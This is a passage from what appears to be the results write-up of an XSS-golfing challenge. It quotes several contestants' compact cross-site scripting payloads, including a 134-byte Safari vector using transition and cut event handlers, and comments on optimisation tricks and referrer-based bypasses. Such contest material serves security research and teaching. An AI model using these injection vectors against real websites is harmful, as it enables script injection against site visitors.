aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/index3/?xss='tabindex=0+id=x+on
    <script>focus='location=[all[56].src.slice(4073),"%26xss=\47onanimationcut=alert(URL)+%26css=p{animation:x}@keyframes
    +x{"]#x

We decided, that we should also count his extra payload. So he didn't win the shortest vector but for sure an award for creativity. Very very cool idea! :D

Gábor Molnár

'onwebkittransitionend=oncut=`<script>`?alert(URL):location=[`index3/index2.php`,all[59].src,URL]+style=transition:1+id=x+tabindex=0#x

This one is only 134 bytes and it works on Safari. First we were like "Aaah, could be valid" but then we realized, that Safari is not explicitly mentioned in the rules. Anyway - special prize it is!

Notice the difference to Pepe's vector? That's what makes WebKit so special. The tiny details that have this engine drift further and further away from Blink.

Other Cool Ideas

We same many interesting attempts to grab the crown. Hiding payload in the username:password part of the URL, the path, sub-domains and many more. And some people even sneaked in fake vectors that looked so real, we first believed them to be valid. That deserves congratulations too - that's the spirit! :D

We forgot some cool idea to be mentioned? Please file a pull request, we're happy to edit it in!

Closing Notes

This was another hopefully fun and exciting challenge.

And again it showed, that after some time and optimization, almost all attack vectors become identical - a perfect sign that the maximum eeerm minimum has been reached. The tricks used to optimize the vectors were again insane, especially the array arithmetics that assign to location inside ES6 template strings.

And in addition, no one really fell too much for our nasty attempt to do something character-wasting on index2.php. Are referrer-based bypasses so common? Apparently! :D

We had tons of fun this year as usual and spent long hours just staring at the log files in pure amazement. And if no one objects, we will make another challenge in late 2016. Stay tuned, thanks for playing and have a great year everyone!